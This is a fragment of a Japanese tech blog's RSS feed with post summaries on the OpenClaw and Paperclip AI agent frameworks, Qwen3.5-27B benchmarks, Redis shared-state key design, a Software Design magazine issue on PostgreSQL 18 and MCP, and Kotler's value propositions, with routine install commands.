&lt;h2 id="セットアップの仕組み"&gt;セットアップの仕組み&lt;/h2&gt;
&lt;p&gt;OpenClaw のマルチエージェント構成は以下のような構造です:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;workspace/
├── agents/
│ ├── atlas/
│ │ └── AGENTS.md # 戦略担当の定義
│ ├── scribe/
│ │ └── AGENTS.md # ライティング担当の定義
│ ├── cland/
│ │ └── AGENTS.md # 開発担当の定義
│ └── ...
└── program.md # チーム全体への指示
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;エージェントは MCP スキルを通じて各種ツールと連携し、Reddit や Twitter のシグナル収集、トレンド分析、コンテンツ生成などを自律的に実行します。&lt;/p&gt;</description></item><item><title>OpenClaw とは何か：話題のオープンソース AI エージェントを徹底解説</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8B%E8%A9%B1%E9%A1%8C%E3%81%AE%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%BE%B9%E5%BA%95%E8%A7%A3%E8%AA%AC/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8B%E8%A9%B1%E9%A1%8C%E3%81%AE%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%BE%B9%E5%BA%95%E8%A7%A3%E8%AA%AC/</guid><description>&lt;p&gt;2025年末に「Clawdbot」として登場し、2026年に入ってから GitHub スター数20万超を記録した &lt;strong&gt;OpenClaw&lt;/strong&gt; が大きな話題になっています。この記事では、OpenClaw の概要、主要機能、セキュリティ上の注意点、そしてセットアップ方法までを解説します。&lt;/p&gt;
&lt;h2 id="openclaw-とは"&gt;OpenClaw とは&lt;/h2&gt;
&lt;p&gt;OpenClaw は、Peter Steinberger 氏が開発したオープンソースの AI エージェントフレームワークです。従来のチャットボットが「テキストを生成する」だけだったのに対し、OpenClaw は &lt;strong&gt;実際にタスクを実行する&lt;/strong&gt; 点が最大の特徴です。&lt;/p&gt;
&lt;p&gt;公式サイトのキャッチフレーズは &amp;ldquo;The AI That Actually Does Things&amp;rdquo; 。ファイル操作、シェルコマンドの実行、Web ブラウジング、フォーム入力など、PC 上のさまざまな操作を AI に任せることができます。&lt;/p&gt;
&lt;h2 id="主要機能"&gt;主要機能&lt;/h2&gt;
&lt;h3 id="チャットプラットフォーム統合"&gt;チャットプラットフォーム統合&lt;/h3&gt;
&lt;p&gt;WhatsApp、Telegram、Discord、Slack、Signal、iMessage など、普段使っているメッセージアプリから自然言語で指示を出せます。専用アプリや Web サイトを開く必要はありません。&lt;/p&gt;
&lt;h3 id="実行可能なタスク"&gt;実行可能なタスク&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;メール管理&lt;/strong&gt;: 未読メールの自動分析・優先順位付け、定型返信の作成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スケジュール調整&lt;/strong&gt;: カレンダー確認、飲食店予約の自動実施&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;開発支援&lt;/strong&gt;: GitHub コード履歴の確認、プルリクエストレビュー&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ブラウザ制御&lt;/strong&gt;: Web サイト閲覧、フォーム入力、データ抽出の自動化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ローカルファースト設計"&gt;ローカルファースト設計&lt;/h3&gt;
&lt;p&gt;個人デバイスやローカルサーバーで動作し、Raspberry Pi のような低価格デバイスでも実行可能です。クラウド利用時も暗号化環境を採用しています。&lt;/p&gt;
&lt;h3 id="永続的メモリ"&gt;永続的メモリ&lt;/h3&gt;
&lt;p&gt;ユーザーの好みやコンテキストを記憶し、使い込むほど賢くなる仕組みが組み込まれています。&lt;/p&gt;
&lt;h2 id="セットアップ方法"&gt;セットアップ方法&lt;/h2&gt;
&lt;p&gt;Node.js 22 以上が必要です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm install -g openclaw@latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;インストール後、オンボーディングウィザードで API 設定を完了します。LLM バックエンドは Claude、GPT、Ollama 経由のローカルモデルに対応しており、自分の API キーを使う方式（BYOK）です。&lt;/p&gt;</description></item><item><title>Paperclip — AIエージェントで会社を自律運営するオープンソースOS</title><link>https://hdknr.github.io/blogs/posts/2026/03/paperclip-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A7%E4%BC%9A%E7%A4%BE%E3%82%92%E8%87%AA%E5%BE%8B%E9%81%8B%E5%96%B6%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9os/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/paperclip-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A7%E4%BC%9A%E7%A4%BE%E3%82%92%E8%87%AA%E5%BE%8B%E9%81%8B%E5%96%B6%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9os/</guid><description>&lt;p&gt;AIエージェントに役職・組織図・予算・目標を与え、24時間自律的に会社を運営させる——そんなコンセプトのオープンソースプロジェクト「&lt;strong&gt;Paperclip&lt;/strong&gt;」が公開され、注目を集めている。&lt;/p&gt;
&lt;h2 id="paperclip-とは"&gt;Paperclip とは&lt;/h2&gt;
&lt;p&gt;Paperclip は、複数の AI エージェントを「社員」として組織化し、会社として機能させるためのオーケストレーションプラットフォームだ。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;If OpenClaw is an employee, Paperclip is the company.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;個々の AI エージェントを個別に管理するのではなく、組織図・予算・ガバナンス・目標整合・タスク調整といった&lt;strong&gt;会社レベルのインフラ&lt;/strong&gt;を提供する。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: &lt;a href="https://github.com/paperclipai/paperclip"&gt;https://github.com/paperclipai/paperclip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;公式サイト&lt;/strong&gt;: &lt;a href="https://paperclip.ing/"&gt;https://paperclip.ing/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;: MIT&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="主な機能"&gt;主な機能&lt;/h2&gt;
&lt;h3 id="エージェントの組織化"&gt;エージェントの組織化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;組織図（Org Chart）&lt;/strong&gt;: 階層構造、役職、レポートラインを定義&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目標整合（Goal Alignment）&lt;/strong&gt;: 会社のミッションからプロジェクト目標、個別タスクまで文脈が伝播&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マルチカンパニー対応&lt;/strong&gt;: 1つのデプロイで複数の会社を完全分離して管理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="対応エージェント"&gt;対応エージェント&lt;/h3&gt;
&lt;p&gt;Claude、OpenClaw、Codex、Cursor、Bash スクリプト、HTTP Webhook など、ハートビートシグナルを受信できる任意のランタイムと連携できる。&lt;/p&gt;
&lt;h3 id="コスト管理"&gt;コスト管理&lt;/h3&gt;
&lt;p&gt;エージェントごとに月次予算を設定し、使用量80%で警告、100%で自動停止する。暴走的なトークン消費を防ぐ仕組みが組み込まれている。&lt;/p&gt;
&lt;h3 id="ガバナンスと監査"&gt;ガバナンスと監査&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;人間による承認ゲート（採用・戦略変更時）&lt;/li&gt;
&lt;li&gt;設定変更のバージョニングとロールバック&lt;/li&gt;
&lt;li&gt;全ての会話・意思決定・ツール呼び出しの追跡ログ&lt;/li&gt;
&lt;li&gt;いつでもエージェントの一時停止・再割り当て・終了が可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="セットアップ"&gt;セットアップ&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# クイックスタート&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npx paperclipai onboard --yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 手動インストール&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/paperclipai/paperclip.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd paperclip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pnpm install
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pnpm dev
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;API は &lt;code&gt;http://localhost:3100&lt;/code&gt; で起動し、組み込みの PostgreSQL データベースを使用する。要件は Node.js 20+ と pnpm 9.15+。&lt;/p&gt;</description></item><item><title>Qwen3.5-27B：個人PCで動く高性能LLMの実力と使い方</title><link>https://hdknr.github.io/blogs/posts/2026/03/qwen3.5-27b%E5%80%8B%E4%BA%BApc%E3%81%A7%E5%8B%95%E3%81%8F%E9%AB%98%E6%80%A7%E8%83%BDllm%E3%81%AE%E5%AE%9F%E5%8A%9B%E3%81%A8%E4%BD%BF%E3%81%84%E6%96%B9/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/qwen3.5-27b%E5%80%8B%E4%BA%BApc%E3%81%A7%E5%8B%95%E3%81%8F%E9%AB%98%E6%80%A7%E8%83%BDllm%E3%81%AE%E5%AE%9F%E5%8A%9B%E3%81%A8%E4%BD%BF%E3%81%84%E6%96%B9/</guid><description>&lt;p&gt;Alibaba Cloud の Qwen チームが 2026 年 2 月にリリースした &lt;strong&gt;Qwen3.5-27B&lt;/strong&gt; は、27B パラメータという中規模サイズながら上位モデルに匹敵する性能を発揮する密（dense）モデルです。メモリ効率に優れ、量子化を活用すれば個人の PC でも快適に動作するため「自分専用 AI」を構築するのに最適な選択肢として注目されています。&lt;/p&gt;
&lt;h2 id="qwen35-27b-の主な特徴"&gt;Qwen3.5-27B の主な特徴&lt;/h2&gt;
&lt;h3 id="アーキテクチャ"&gt;アーキテクチャ&lt;/h3&gt;
&lt;p&gt;Qwen3.5-27B は MoE（Mixture of Experts）ではなく、全パラメータが推論時に活性化される &lt;strong&gt;密モデル（dense model）&lt;/strong&gt; です。Gated Delta Networks と Feed Forward Networks を組み合わせた構造で、高い計算密度を実現しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パラメータ数&lt;/strong&gt;: 27B（全パラメータ活性化）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コンテキスト長&lt;/strong&gt;: 262K トークン（最大 1M まで拡張可能）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対応言語&lt;/strong&gt;: 201 言語&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マルチモーダル&lt;/strong&gt;: 視覚・言語の統合能力を搭載&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ベンチマーク性能"&gt;ベンチマーク性能&lt;/h3&gt;
&lt;p&gt;27B というサイズにもかかわらず、主要ベンチマークで際立った成績を残しています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ベンチマーク&lt;/th&gt;
&lt;th&gt;スコア&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MMLU-Pro&lt;/td&gt;
&lt;td&gt;86.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPQA Diamond&lt;/td&gt;
&lt;td&gt;85.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SWE-bench Verified&lt;/td&gt;
&lt;td&gt;72.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LiveCodeBench&lt;/td&gt;
&lt;td&gt;80.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IFEval&lt;/td&gt;
&lt;td&gt;95.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HMMT（数学）&lt;/td&gt;
&lt;td&gt;92.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;特に &lt;strong&gt;SWE-bench Verified で 72.4%&lt;/strong&gt; は GPT-5 mini と同等の数値であり、オープンウェイトの 27B 密モデルとしては驚異的な結果です。コーディング、数学、指示追従の各タスクで中規模モデルカテゴリをリードしています。&lt;/p&gt;</description></item><item><title>Redisを「共有状態」として使うアンチパターン：キー設計の落とし穴</title><link>https://hdknr.github.io/blogs/posts/2026/03/redis%E3%82%92%E5%85%B1%E6%9C%89%E7%8A%B6%E6%85%8B%E3%81%A8%E3%81%97%E3%81%A6%E4%BD%BF%E3%81%86%E3%82%A2%E3%83%B3%E3%83%81%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E3%82%AD%E3%83%BC%E8%A8%AD%E8%A8%88%E3%81%AE%E8%90%BD%E3%81%A8%E3%81%97%E7%A9%B4/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/redis%E3%82%92%E5%85%B1%E6%9C%89%E7%8A%B6%E6%85%8B%E3%81%A8%E3%81%97%E3%81%A6%E4%BD%BF%E3%81%86%E3%82%A2%E3%83%B3%E3%83%81%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E3%82%AD%E3%83%BC%E8%A8%AD%E8%A8%88%E3%81%AE%E8%90%BD%E3%81%A8%E3%81%97%E7%A9%B4/</guid><description>&lt;p&gt;Redis はキャッシュとして非常に優秀なツールだが、複数のチームやサービスが**共有状態（shared state）**として Redis を使い始めると、設計上の問題が発生しやすくなる。&lt;/p&gt;
&lt;h2 id="キャッシュと共有状態の違い"&gt;キャッシュと共有状態の違い&lt;/h2&gt;
&lt;p&gt;Redis をキャッシュとして使う場合、データは一時的なものであり、いつ消えても問題ない。元データは RDB などに存在し、キャッシュミス時に再構築できる。&lt;/p&gt;
&lt;p&gt;一方、共有状態として使う場合は話が変わる。複数のサービスが同じ Redis キーを読み書きし、そのデータが「正」として扱われる。RDB のようなスキーマや制約がないため、以下の問題が起きやすい。&lt;/p&gt;
&lt;h2 id="暗黙の契約に依存したデータ構造"&gt;暗黙の契約に依存したデータ構造&lt;/h2&gt;
&lt;p&gt;RDB であればスキーマによってデータ構造が明示的に定義される。カラム名、型、制約、外部キーなどが設計書の役割を果たす。&lt;/p&gt;
&lt;p&gt;Redis にはそのような仕組みがない。キーの命名規則やデータ形式は開発者間の「暗黙の契約」に依存する。チームが増えると、以下のような問題が顕在化する：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;キーの命名が衝突する&lt;/strong&gt; — 異なるチームが同じプレフィックスを使ってしまう&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データ形式の不一致&lt;/strong&gt; — あるサービスは JSON、別のサービスは MessagePack で書き込む&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バージョン管理の欠如&lt;/strong&gt; — データ構造を変更しても、読み取り側が追従できない&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="削除できないキー問題"&gt;「削除できないキー」問題&lt;/h2&gt;
&lt;p&gt;最も厄介な問題の一つが、&lt;strong&gt;誰が所有しているのか分からないキー&lt;/strong&gt;が残り続けることだ。&lt;/p&gt;
&lt;p&gt;本番環境で以下のような状況が発生する：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# このキーは誰が作った？いつ expire する？削除していい？
GET user:session:abc123:metadata
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;作成したサービスがすでに廃止されている&lt;/li&gt;
&lt;li&gt;TTL が設定されていないため、永遠に残る&lt;/li&gt;
&lt;li&gt;他のサービスが依存している可能性があり、安易に削除できない&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="キーをパブリック-apiとして扱う"&gt;キーを「パブリック API」として扱う&lt;/h2&gt;
&lt;p&gt;この問題に対する実践的なアプローチとして、&lt;strong&gt;Redis キーをパブリック API のように扱う&lt;/strong&gt;という考え方がある：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;バージョニング&lt;/strong&gt; — キー名にバージョンを含める（例: &lt;code&gt;v2:user:session:{id}&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ドキュメント化&lt;/strong&gt; — どのキーがどのサービスによって管理されているかを明文化する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オーナーの明確化&lt;/strong&gt; — 各キーに責任を持つチーム・サービスを割り当てる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTL の必須化&lt;/strong&gt; — 共有キーには必ず TTL を設定し、期限切れを明示する&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="補足分散ロック基盤としての-redis"&gt;補足：分散ロック基盤としての Redis&lt;/h2&gt;
&lt;p&gt;Redis を共有状態として使うもう一つの典型例が、&lt;strong&gt;トランザクション境界をまたぐ分散ロック&lt;/strong&gt;だ。&lt;code&gt;SET key value NX PX timeout&lt;/code&gt; を使ったロックや、Redlock アルゴリズムは広く利用されているが、ここにも落とし穴がある。&lt;/p&gt;</description></item><item><title>Software Design 2026年4月号の注目特集：PostgreSQL 18 高速化と MCP サーバー開発</title><link>https://hdknr.github.io/blogs/posts/2026/03/software-design-2026%E5%B9%B44%E6%9C%88%E5%8F%B7%E3%81%AE%E6%B3%A8%E7%9B%AE%E7%89%B9%E9%9B%86postgresql-18-%E9%AB%98%E9%80%9F%E5%8C%96%E3%81%A8-mcp-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E9%96%8B%E7%99%BA/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/software-design-2026%E5%B9%B44%E6%9C%88%E5%8F%B7%E3%81%AE%E6%B3%A8%E7%9B%AE%E7%89%B9%E9%9B%86postgresql-18-%E9%AB%98%E9%80%9F%E5%8C%96%E3%81%A8-mcp-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E9%96%8B%E7%99%BA/</guid><description>&lt;p&gt;技術評論社の &lt;a href="https://gihyo.jp/magazine/SD/archive/2026/202604"&gt;Software Design 2026年4月号&lt;/a&gt;（2026年3月18日発売）の特集内容を紹介します。今号は PostgreSQL 18 のパフォーマンス最適化と、MCP サーバー開発という2つの注目特集が組まれています。&lt;/p&gt;
&lt;h2 id="第1特集postgresql-18-に学ぶデータベース高速化機能"&gt;第1特集：PostgreSQL 18 に学ぶデータベース高速化機能&lt;/h2&gt;
&lt;p&gt;「アーキテクチャから見えてくる処理性能向上のヒント」と題した第1特集では、PostgreSQL 18 の新機能を軸にデータベース高速化のテクニックが解説されています。&lt;/p&gt;
&lt;h3 id="章構成"&gt;章構成&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第1章&lt;/strong&gt; データ処理メカニズムと高速化（三谷篤）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第2章&lt;/strong&gt; トランザクションとバックアップ（三谷篤）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第3章&lt;/strong&gt; クエリ最適化とオプティマイザー（篠田典良）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第4章&lt;/strong&gt; インデックス検索技法（篠田典良）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第5章&lt;/strong&gt; 並列処理と JIT（寺内大輝）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第6章&lt;/strong&gt; PostgreSQL 互換クラウド DB 比較（小山哲志）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第7章&lt;/strong&gt; PostgreSQL 18 の新機能（寺内大輝）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PostgreSQL のデータ処理メカニズムから始まり、クエリ最適化、インデックス活用、並列処理・JIT コンパイルまで、パフォーマンスチューニングの全体像をカバーする構成です。第6章では PostgreSQL 互換のクラウドデータベース（Amazon Aurora、AlloyDB など）の比較もあり、実務で選定する際の参考になります。&lt;/p&gt;
&lt;h2 id="第2特集mcp-サーバー開発成功の秘訣"&gt;第2特集：MCP サーバー開発成功の秘訣&lt;/h2&gt;
&lt;p&gt;「事業戦略・品質・開発効率をふまえたアプローチ」と題した第2特集では、AI エージェントのツール連携で注目される MCP（Model Context Protocol）サーバーの開発について、実践的なアプローチが紹介されています。&lt;/p&gt;
&lt;h3 id="章構成-1"&gt;章構成&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第1章&lt;/strong&gt; MCP 設計ガイド（川崎庸市）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第2章&lt;/strong&gt; 駅すぱあと API での事例（橋本あゆみ、平川瑞樹）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第3章&lt;/strong&gt; Sansan での事例（川瀬圭亮）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MCP は Anthropic が提唱した AI モデルと外部ツールを接続するためのオープンプロトコルで、Claude Code をはじめ多くの AI ツールで採用が進んでいます。本特集では設計の基本方針に加え、駅すぱあと API や Sansan といった実サービスでの MCP サーバー構築事例が紹介されており、自社サービスに MCP を導入する際の具体的な指針が得られます。&lt;/p&gt;</description></item><item><title>コトラー マーケティングの価値提案 — 顧客が時間を割く4つの理由</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%B3%E3%83%88%E3%83%A9%E3%83%BC-%E3%83%9E%E3%83%BC%E3%82%B1%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AE%E4%BE%A1%E5%80%A4%E6%8F%90%E6%A1%88-%E9%A1%A7%E5%AE%A2%E3%81%8C%E6%99%82%E9%96%93%E3%82%92%E5%89%B2%E3%81%8F4%E3%81%A4%E3%81%AE%E7%90%86%E7%94%B1/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%B3%E3%83%88%E3%83%A9%E3%83%BC-%E3%83%9E%E3%83%BC%E3%82%B1%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AE%E4%BE%A1%E5%80%A4%E6%8F%90%E6%A1%88-%E9%A1%A7%E5%AE%A2%E3%81%8C%E6%99%82%E9%96%93%E3%82%92%E5%89%B2%E3%81%8F4%E3%81%A4%E3%81%AE%E7%90%86%E7%94%B1/</guid><description>&lt;p&gt;コトラーが提唱するように、現代のマーケティングにおいて「価値の提案（バリュー・プロポジション）」は核心だ。しかし、情報が氾濫する現代では、顧客は &lt;strong&gt;「時間を消費すること」に対して非常に慎重&lt;/strong&gt; になっている。&lt;/p&gt;
&lt;p&gt;顧客が貴重な時間を割いてでも「見たい」「知りたい」と思う価値には、共通するいくつかの要素がある。&lt;/p&gt;
&lt;h2 id="1-切実な不満を解消する価値"&gt;1. 「切実な不満」を解消する価値&lt;/h2&gt;
&lt;p&gt;顧客が抱えている「痛み（ペインポイント）」が深いほど、その解決策には時間を投資する。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;効率化&lt;/strong&gt;: 「これまで3時間かかっていた作業が5分で終わる」という提案&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不安の解消&lt;/strong&gt;: 「なぜ資産が減り続けているのか？」といった、生存や安全に関わる問いへの答え&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-未知の自分に出会える価値自己実現"&gt;2. 「未知の自分」に出会える価値（自己実現）&lt;/h2&gt;
&lt;p&gt;コトラーの「マーケティング4.0/5.0」でも語られるように、人間は自己実現や精神的充足を求める。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;変身の予感&lt;/strong&gt;: 「これを見れば、憧れの自分に一歩近づける」という高揚感&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スキルの習得&lt;/strong&gt;: 学習コストを払ってでも手に入れたい、市場価値を上げる情報&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-物語ストーリーというエンターテインメント"&gt;3. 「物語（ストーリー）」というエンターテインメント&lt;/h2&gt;
&lt;p&gt;データや機能の羅列には誰も時間を割かないが、&lt;strong&gt;物語&lt;/strong&gt; には惹きつけられる。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;共感と葛藤&lt;/strong&gt;: 開発者がどのような苦労をしてその製品を作ったのかというドラマ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文脈の提供&lt;/strong&gt;: 自分の生活がその製品によってどう劇的に変わるかという「ビフォー・アフター」&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-信頼というコスト削減"&gt;4. 「信頼」というコスト削減&lt;/h2&gt;
